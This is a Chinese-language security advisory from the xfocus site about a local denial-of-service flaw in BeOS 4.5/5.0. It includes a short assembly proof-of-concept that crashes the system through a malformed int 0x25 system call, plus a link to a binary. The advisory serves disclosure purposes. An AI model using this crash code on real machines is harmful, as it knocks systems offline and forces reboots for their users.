xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

BeOS 4.5/5.0非法系统调用漏洞


发布时间:2000-04-12
更新时间:2000-04-12
严重程度:
威胁程度:本地拒绝服务
错误类型:设计错误
利用方式:服务器模式

受影响系统
BeOS 4.5/5.0
详细描述
一个通过0x25中断包含非法参数的直接系统调用会导致BeOS 系统崩溃,并且必须重新启动机器才能继续使用。

测试代码
下面是一个能使BeOS系统崩溃的ASM程序:section .text global _start _start: push dword msg push dword len push dword 1 ;stdout mov eax,3 ;sys_write int 0x25 ;must be a *call* to int 0x25, ;then everything goes ok; i.e. ;return address must be on the stack, ;but it is not mov eax,0x3f ;sys_exit int 0x25 msg db "hello",0xa len equ $ - msg 大家可以到下面的站点获得两进制文件: http://linuxassembly.org/BeDie.tgz 并在这里推荐一个有关LINUX ASM编程的站点: http://linuxassembly.org

解决方案
暂无

相关信息